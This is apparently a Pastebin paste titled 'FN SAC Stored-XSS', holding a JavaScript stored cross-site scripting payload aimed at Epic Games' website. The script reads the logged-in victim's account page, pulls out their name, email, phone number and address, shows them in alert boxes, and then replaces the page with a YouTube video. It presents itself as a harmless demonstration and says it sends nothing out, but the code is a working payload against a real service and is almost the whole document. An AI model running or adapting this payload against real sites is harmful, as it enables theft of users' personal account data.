Jaren

FN SAC Stored-XSS

Apr 13th, 2019
478
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. // This example simply gathers your information from /account/personal, displays it in a bunch of alert boxes, then redirects you to youtube.
  2. var request = new XMLHttpRequest();
  3. request.open('GET', 'https://www.epicgames.com/account/personal', true);
  4. request.onload = function () {
  5.     if (request.status >= 200 && request.status < 400) {
  6.         var resp = request.responseText.split("\n");
  7.         var user = null;
  8.         for (let i = 0; i < resp.length; i++) {
  9.             if (resp[i].startsWith("        window.account_dataPreload = ")) {
  10.                 user = JSON.parse(resp[i].slice(37).replace(/;$/, ""));
  11.                 break;
  12.             }
  13.         }
  14.         if (user) {
  15.             var additionalInfo = "";
  16.             if (user.userInfo.firstName.value) {
  17.                 additionalInfo += " (a.k.a " + user.userInfo.firstName.value + " " + user.userInfo.lastName.value + ")";
  18.             }
  19.  
  20.             alert("Hello " + user.userInfo.displayName.value + additionalInfo);
  21.             alert("Your email: " + user.userInfo.email.value);
  22.             if (user.userInfo.phoneNumber) {
  23.                 alert("Your phone #: " + user.userInfo.phoneNumber.value);
  24.             }
  25.             if (user.userInfo.line1) {
  26.                 alert("Your address: " + user.userInfo.line1.value);
  27.             }
  28.             alert("Sending info to external server... (jk)");
  29.         } else {
  30.             alert("Heyo! It seems you aren't logged in!");
  31.         }
  32.         document.body.innerHTML = `<iframe width="560" height="315" src="https://www.youtube.com/embed/6n3pFFPSlW4?controls=0" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>`;
  33.     }
  34. };
  35. request.send();
Advertisement
Add Comment
Please, Sign In to add comment